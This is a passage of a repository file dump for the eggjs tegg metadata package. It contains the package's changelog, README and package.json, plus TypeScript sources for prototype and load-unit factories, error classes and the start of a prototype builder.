[3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n\n### Features\n\n* impl dal ([#192](https://github.com/eggjs/tegg/issues/192)) ([1c7d145](https://github.com/eggjs/tegg/commit/1c7d1454bc8c600cd58c3ec7b9cda4e8a98c7287))\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n\n### Features\n\n* scan framework dependencies as optional module ([#184](https://github.com/eggjs/tegg/issues/184)) ([a4908c6](https://github.com/eggjs/tegg/commit/a4908c6c640000c7068def57d32052cca15adf47))\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n\n### Features\n\n* add className property to EggPrototypeInfo ([#158](https://github.com/eggjs/tegg/issues/158)) ([bddac97](https://github.com/eggjs/tegg/commit/bddac97a9f575c9f13b794246a7e8346c58d1a09))\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n\n### Bug Fixes\n\n* fix use MultiInstanceProto from other modules ([#147](https://github.com/eggjs/tegg/issues/147)) ([b71af60](https://github.com/eggjs/tegg/commit/b71af60ce6d1da0d778f5e712633b8c15052bd70))\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n\n### Features\n\n* impl MultiInstanceProto ([#145](https://github.com/eggjs/tegg/issues/145)) ([12fd5cf](https://github.com/eggjs/tegg/commit/12fd5cff4004578bcc737dcdf4f7e9d1159f5633))\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* inject context proto to singleton proto ([#72](https://github.com/eggjs/tegg/issues/72)) ([fcc0b2b](https://github.com/eggjs/tegg/commit/fcc0b2b48fc9bce580c1f2bcfcc38039ae909951))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n\n### Features\n\n* allow inject proto and name ([#40](https://github.com/eggjs/tegg/issues/40)) ([abd1766](https://github.com/eggjs/tegg/commit/abd17665af2528c4c2e33f4c6b0fceddd8a4e76b))\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-metadata\n"
  },
  {
    "path": "tegg/core/metadata/README.md",
    "content": "# `@eggjs/metadata`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/metadata.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/metadata.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/metadata\n[snyk-image]: https://snyk.io/test/npm/@eggjs/metadata/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/metadata\n[download-image]: https://img.shields.io/npm/dm/@eggjs/metadata.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/metadata\n\n# Usage\n\nThis is an internal tegg library, you probably shouldn't use it directly.\n"
  },
  {
    "path": "tegg/core/metadata/package.json",
    "content": "{\n  \"name\": \"@eggjs/metadata\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg metadata\",\n  \"keywords\": [\n    \"egg\",\n    \"metadata\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/metadata\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/metadata\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/errors\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"globby\": \"catalog:\",\n    \"is-type-of\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/errors.ts",
    "content": "import { FrameworkBaseError } from '@eggjs/errors';\nimport { ErrorCodes } from '@eggjs/tegg-types';\nimport type { EggPrototypeName, QualifierInfo } from '@eggjs/tegg-types';\n\nexport class TeggError extends FrameworkBaseError {\n  get module() {\n    return 'TEGG';\n  }\n}\n\nexport class EggPrototypeNotFound extends TeggError {\n  constructor(protoName: EggPrototypeName, loadUnitId: string | undefined) {\n    const msg = loadUnitId\n      ? `Object ${String(protoName)} not found in ${loadUnitId}`\n      : `Object ${String(protoName)} not found`;\n    super(msg, ErrorCodes.EGG_PROTO_NOT_FOUND);\n  }\n}\n\nexport class MultiPrototypeFound extends TeggError {\n  constructor(name: EggPrototypeName, qualifier: QualifierInfo[], result?: string) {\n    const msg = `multi proto found for name:${String(name)} and qualifiers ${JSON.stringify(qualifier)}${\n      result ? `, result is ${result}` : ''\n    }`;\n    super(msg, ErrorCodes.MULTI_PROTO_FOUND);\n  }\n}\n\nexport class IncompatibleProtoInject extends TeggError {\n  constructor(msg: string) {\n    super(msg, ErrorCodes.INCOMPATIBLE_PROTO_INJECT);\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/factory/EggPrototypeCreatorFactory.ts",
    "content": "import assert from 'node:assert';\nimport { debuglog } from 'node:util';\n\nimport { InitTypeQualifierAttribute, LoadUnitNameQualifierAttribute, PrototypeUtil } from '@eggjs/core-decorator';\nimport type {\n  EggProtoImplClass,\n  EggPrototypeInfo,\n  EggPrototypeCreator,\n  LoadUnit,\n  EggPrototype,\n  EggPrototypeLifecycleContext,\n} from '@eggjs/tegg-types';\n\nimport { EggPrototypeLifecycleUtil, ClassProtoDescriptor } from '../model/index.ts';\n\nconst debug = debuglog('egg/tegg/core/metadata/factory/EggPrototypeCreatorFactory');\n\nexport class EggPrototypeCreatorFactory {\n  private static creatorMap = new Map<string, EggPrototypeCreator>();\n\n  static registerPrototypeCreator(type: string, creator: EggPrototypeCreator): void {\n    this.creatorMap.set(type, creator);\n  }\n\n  static getPrototypeCreator(type: string): EggPrototypeCreator | undefined {\n    return this.creatorMap.get(type);\n  }\n\n  static async createProto(clazz: EggProtoImplClass, loadUnit: LoadUnit): Promise<EggPrototype[]> {\n    let properties: EggPrototypeInfo[] = [];\n    const initTypeQualifierAttributeValue = await PrototypeUtil.getInitType(clazz, {\n      unitPath: loadUnit.unitPath,\n      moduleName: loadUnit.name,\n    });\n    const defaultQualifier = [\n      {\n        attribute: InitTypeQualifierAttribute,\n        value: initTypeQualifierAttributeValue!,\n      },\n      {\n        attribute: LoadUnitNameQualifierAttribute,\n        value: loadUnit.name,\n      },\n    ];\n\n    if (PrototypeUtil.isEggMultiInstancePrototype(clazz)) {\n      const multiInstanceProtoInfo = await PrototypeUtil.getMultiInstanceProperty(clazz, {\n        unitPath: loadUnit.unitPath,\n        moduleName: loadUnit.name,\n      })!;\n      assert(\n        multiInstanceProtoInfo,\n        `multiInstanceProtoInfo is undefined, clazz: ${clazz.name}, unitPath: ${loadUnit.unitPath}, moduleName: ${loadUnit.name}`,\n      );\n      for (const obj of multiInstanceProtoInfo.objects) {\n        defaultQualifier.forEach((qualifier) => {\n          if (!obj.qualifiers.find((t) => t.attribute === qualifier.attribute)) {\n            obj.qualifiers.push(qualifier);\n          }\n        });\n\n        properties.push({\n          name: obj.name,\n          protoImplType: multiInstanceProtoInfo.protoImplType,\n          initType: multiInstanceProtoInfo.initType,\n          accessLevel: multiInstanceProtoInfo.accessLevel,\n          qualifiers: obj.qualifiers,\n          properQualifiers: obj.properQualifiers,\n          className: multiInstanceProtoInfo.className,\n        });\n      }\n    } else {\n      const property = PrototypeUtil.getProperty(clazz)!;\n      if (!property.qualifiers) {\n        property.qualifiers = [];\n      }\n      defaultQualifier.forEach((qualifier) => {\n        if (!property.qualifiers!.find((t) => t.attribute === qualifier.attribute)) {\n          property.qualifiers!.push(qualifier);\n        }\n      });\n      properties = [property];\n    }\n    const protos: EggPrototype[] = [];\n    for (const property of properties) {\n      const creator = this.getPrototypeCreator(property.protoImplType);\n      if (!creator) {\n        throw new Error(`not found proto creator for type: ${property.protoImplType}`);\n      }\n      const ctx: EggPrototypeLifecycleContext = {\n        clazz,\n        loadUnit,\n        prototypeInfo: property,\n      };\n      const proto = creator(ctx);\n      // TODO release egg prototype\n      await EggPrototypeLifecycleUtil.objectPreCreate(ctx, proto);\n      if (proto.init) {\n        await proto.init(ctx);\n      }\n      await EggPrototypeLifecycleUtil.objectPostCreate(ctx, proto);\n      PrototypeUtil.setClazzProto(clazz, proto);\n      protos.push(proto);\n    }\n    if (debug.enabled && loadUnit.name === 'egg-app') {\n      debug(\n        'createProto, get protos:%o, from clazz:%o, from loadUnit:%o:%o:%o',\n        protos.map((t) => t.name),\n        clazz.name,\n        loadUnit.type,\n        loadUnit.name,\n        loadUnit.unitPath,\n      );\n    }\n    return protos;\n  }\n\n  static async createProtoByDescriptor(\n    protoDescriptor: ClassProtoDescriptor,\n    loadUnit: LoadUnit,\n  ): Promise<EggPrototype> {\n    const creator = this.getPrototypeCreator(protoDescriptor.protoImplType);\n    if (!creator) {\n      throw new Error(`not found proto creator for type: ${protoDescriptor.protoImplType}`);\n    }\n    const ctx: EggPrototypeLifecycleContext = {\n      clazz: protoDescriptor.clazz,\n      loadUnit,\n      prototypeInfo: protoDescriptor,\n    };\n    const proto = creator(ctx);\n    await EggPrototypeLifecycleUtil.objectPreCreate(ctx, proto);\n    if (proto.init) {\n      await proto.init(ctx);\n    }\n    await EggPrototypeLifecycleUtil.objectPostCreate(ctx, proto);\n    PrototypeUtil.setClazzProto(protoDescriptor.clazz, proto);\n    return proto;\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/factory/EggPrototypeFactory.ts",
    "content": "import { FrameworkErrorFormatter } from '@eggjs/errors';\nimport { MapUtil } from '@eggjs/tegg-common-util';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport type { EggPrototypeName, EggPrototype, LoadUnit, QualifierInfo } from '@eggjs/tegg-types';\n\nimport { EggPrototypeNotFound, MultiPrototypeFound } from '../errors.ts';\n\nexport class EggPrototypeFactory {\n  public static instance: EggPrototypeFactory = new EggPrototypeFactory();\n\n  // Map<EggObjectInitTypeLike, Map<protoName, EggPrototype>>\n  private publicProtoMap: Map<EggPrototypeName, EggPrototype[]> = new Map();\n\n  public registerPrototype(proto: EggPrototype, loadUnit: LoadUnit): void {\n    if (proto.accessLevel === AccessLevel.PUBLIC) {\n      const protoList = MapUtil.getOrStore(this.publicProtoMap, proto.name, []);\n      protoList.push(proto);\n    }\n    loadUnit.registerEggPrototype(proto);\n  }\n\n  public deletePrototype(proto: EggPrototype, loadUnit: LoadUnit): void {\n    if (proto.accessLevel === AccessLevel.PUBLIC) {\n      const protos = this.publicProtoMap.get(proto.name);\n      if (protos) {\n        const index = protos.indexOf(proto);\n        if (index !== -1) {\n          protos.splice(index, 1);\n        }\n      }\n    }\n\n    loadUnit.deletePrototype(proto);\n  }\n\n  public getPrototype(name: PropertyKey, loadUnit?: LoadUnit, qualifiers?: QualifierInfo[]): EggPrototype {\n    qualifiers = qualifiers || [];\n    const protos = this.doGetPrototype(name, qualifiers, loadUnit);\n    if (!protos.length) {\n      throw FrameworkErrorFormatter.formatError(new EggPrototypeNotFound(name, loadUnit?.id));\n    }\n    if (protos.length === 1) {\n      return protos[0];\n    }\n    throw FrameworkErrorFormatter.formatError(new MultiPrototypeFound(name, qualifiers));\n  }\n\n  private doGetPrototype(name: EggPrototypeName, qualifiers: QualifierInfo[], loadUnit?: LoadUnit): EggPrototype[] {\n    if (loadUnit) {\n      // 1. find private proto in load unit\n      const protos = loadUnit.getEggPrototype(name, qualifiers);\n      if (protos.length) {\n        return protos;\n      }\n    }\n\n    // 2. find public proto in global\n    const protos = this.publicProtoMap.get(name);\n    return protos?.filter((proto) => proto.verifyQualifiers(qualifiers)) || [];\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/factory/LoadUnitFactory.ts",
    "content": "import type {\n  EggLoadUnitTypeLike,\n  Id,\n  LoadUnit,\n  LoadUnitLifecycleContext,\n  Loader,\n  LoadUnitCreator,\n  LoadUnitPair,\n} from '@eggjs/tegg-types';\n\nimport { LoadUnitLifecycleUtil } from '../model/index.ts';\n\nexport class LoadUnitFactory {\n  private static loadUnitCreatorMap: Map<EggLoadUnitTypeLike, LoadUnitCreator> = new Map();\n  private static loadUnitMap: Map<string, LoadUnitPair> = new Map();\n  private static loadUnitIdMap: Map<Id, LoadUnit> = new Map();\n\n  protected static async getLoanUnit(ctx: LoadUnitLifecycleContext, type: EggLoadUnitTypeLike): Promise<LoadUnit> {\n    const creator = LoadUnitFactory.loadUnitCreatorMap.get(type);\n    if (!creator) {\n      throw new Error(`not find creator for load unit type ${type}`);\n    }\n    return await creator(ctx);\n  }\n\n  static async createLoadUnit(unitPath: string, type: EggLoadUnitTypeLike, loader: Loader): Promise<LoadUnit> {\n    if (LoadUnitFactory.loadUnitMap.has(unitPath)) {\n      return LoadUnitFactory.loadUnitMap.get(unitPath)!.loadUnit;\n    }\n    const ctx: LoadUnitLifecycleContext = {\n      unitPath,\n      loader,\n    };\n    const loadUnit = await LoadUnitFactory.getLoanUnit(ctx, type);\n    await LoadUnitLifecycleUtil.objectPreCreate(ctx, loadUnit);\n    if (loadUnit.init) {\n      await loadUnit.init(ctx);\n    }\n    await LoadUnitLifecycleUtil.objectPostCreate(ctx, loadUnit);\n    LoadUnitFactory.loadUnitMap.set(unitPath, { loadUnit, ctx });\n    LoadUnitFactory.loadUnitIdMap.set(loadUnit.id, loadUnit);\n    return loadUnit;\n  }\n\n  static async createPreloadLoadUnit(unitPath: string, type: EggLoadUnitTypeLike, loader: Loader): Promise<LoadUnit> {\n    const ctx: LoadUnitLifecycleContext = {\n      unitPath,\n      loader,\n    };\n    return await LoadUnitFactory.getLoanUnit(ctx, type);\n  }\n\n  static async destroyLoadUnit(loadUnit: LoadUnit): Promise<void> {\n    const { ctx } = LoadUnitFactory.loadUnitMap.get(loadUnit.unitPath)!;\n    try {\n      await LoadUnitLifecycleUtil.objectPreDestroy(ctx, loadUnit);\n      if (loadUnit.destroy) {\n        await loadUnit.destroy(ctx);\n      }\n    } finally {\n      LoadUnitFactory.loadUnitMap.delete(loadUnit.unitPath);\n      LoadUnitFactory.loadUnitIdMap.delete(loadUnit.id);\n      LoadUnitLifecycleUtil.clearObjectLifecycle(loadUnit);\n    }\n  }\n\n  static getLoadUnitById(id: Id): LoadUnit | undefined {\n    return LoadUnitFactory.loadUnitIdMap.get(id);\n  }\n\n  static registerLoadUnitCreator(type: EggLoadUnitTypeLike, creator: LoadUnitCreator): void {\n    LoadUnitFactory.loadUnitCreatorMap.set(type, creator);\n  }\n}\n"
  },
  {
    "path": "tegg/core/metadata/src/factory/index.ts",
    "content": "export * from './EggPrototypeFactory.ts';\nexport * from './EggPrototypeCreatorFactory.ts';\nexport * from './LoadUnitFactory.ts';\n"
  },
  {
    "path": "tegg/core/metadata/src/impl/EggPrototypeBuilder.ts",
    "content": "import assert from 'node:assert';\n\nimport { InjectType, PrototypeUtil, type QualifierAttribute, QualifierUtil } from '@eggjs/core-decorator';\nimport { IdenticalUtil } from '@eggjs/lifecycle';\nimport type {\n  AccessLevel,\n  EggProtoImplClass,\n  EggPrototype,\n  EggPrototypeLifecycleContext,\n  EggPrototypeName,\n  InjectConstructor,\n  InjectObject,\n  InjectObjectProto,\n  LoadUnit,\n  ObjectInitTypeLike,\n  QualifierInfo,\n} from '@eggjs/tegg-types';\nimport {\n  DEFAULT_PROTO_IMPL_TYPE,\n  InitTypeQualifierAttribute,\n  type InjectConstructorProto,\n  ObjectInitType,\n} from '@eggjs/tegg-types';\n\nimport { EggPrototypeNotFound, MultiPrototypeFound } from '../errors.ts';\nimport { EggPrototypeFactory, EggPrototypeCreatorFactory } from '../factory/index.ts';\nimport { EggPrototypeImpl } from './EggPrototypeImpl.ts';\n\nexport class EggPrototypeBuilder {\n  private clazz: EggProtoImplClass;\n  private name: EggPrototypeName;\n  private initType: ObjectInitTypeLike;\n  private accessLevel: AccessLevel;\n  private filepath: string;\n  private injectType: InjectType | undefined;\n  private injectObjects: Array<InjectObject | InjectConstructor> = [];\n  private loadUnit: LoadUnit;\n  private qualifiers: QualifierInfo[] = [];\n  private properQualifiers: Record<PropertyKey, QualifierInfo[]> = {};\n  private className?: string;\n  private multiInstanceConstructorIndex?: number;\n  private multiInstanceConstructorAttributes?: QualifierAttribute[];\n\n  static create(ctx: EggPrototypeLifecycleContext): EggPrototype {\n    const { clazz, loadUnit } = ctx;\n    const filepath = PrototypeUtil.getFilePath(clazz);\n    assert(filepath, 'not find filepath');\n    const builder = new EggPrototypeBuilder();\n    builder.clazz = clazz;\n    builder.name = ctx.prototypeInfo.name;\n    builder.className = ctx.prototypeInfo.className;\n    builder.initType = ctx.prototypeInfo.initType;\n    builder.accessLevel = ctx.prototypeInfo.accessLevel;\n    builder.filepath = filepath!;\n    builder.injectType = PrototypeUtil.getInjectType(clazz);\n    builder.injectObjects = PrototypeUtil.getInjectObjects(clazz) || [];\n    builder.loadUnit = loadUnit;\n    builder.qualifiers = QualifierUtil.mergeQualifiers(\n      QualifierUtil.getProtoQualifiers(clazz),\n      ctx.prototypeInfo.qualifiers ?? [],\n    );\n    builder.properQualifiers = ctx.prototypeInfo.properQualifiers ?? {};\n    builder.multiInstanceConstructorIndex = PrototypeUtil.getMultiInstanceConstructorIndex(clazz);\n    builder.multiInstanceConstructorAttributes = PrototypeUtil.getMultiInstanceConstructorAttributes(clazz);\n    return builder.build();\n  }\n\n  private tryFindDefaultPrototype(injectObject: InjectObject | InjectConstructor): EggPrototype {\n    const propertyQualifiers = QualifierUtil.getProperQualifiers(this.clazz, injectObject.refName);\n    const multiInstancePropertyQualifiers = this.properQualifiers[injectObject.refName as string] ?? [];\n    return EggPrototypeFactory.instance.getPrototype(\n      injectObject.objName,\n      this.loadUnit,\n      QualifierUtil.mergeQualifiers(propertyQualifiers, multiInstancePropertyQualifiers),\n    );\n  }\n\n  private tryFindContextPrototype(injectObject: InjectObject | InjectConstructor): EggPrototype {\n    const propertyQualifiers = QualifierUtil.getProperQualifiers(this.clazz, injectObject.refName);\n    const multiInstancePropertyQualifiers = this.properQualifiers[injectObject.refName as string] ?? [];\n    return EggPrototypeFactory.instance.getPrototype(\n      injectObject.objName,\n      this.loadUnit,\n      QualifierUtil.mergeQualifiers(propertyQualifiers, multiInstancePropertyQualifiers, [\n        {\n          attribute: InitTypeQualifierAttribute,\n          value: ObjectInitType.CONTEXT,\n        },\n      ]),\n    );\n  }\n\n  private tryFindSelfInitTypePrototype(injectObject: InjectObject | 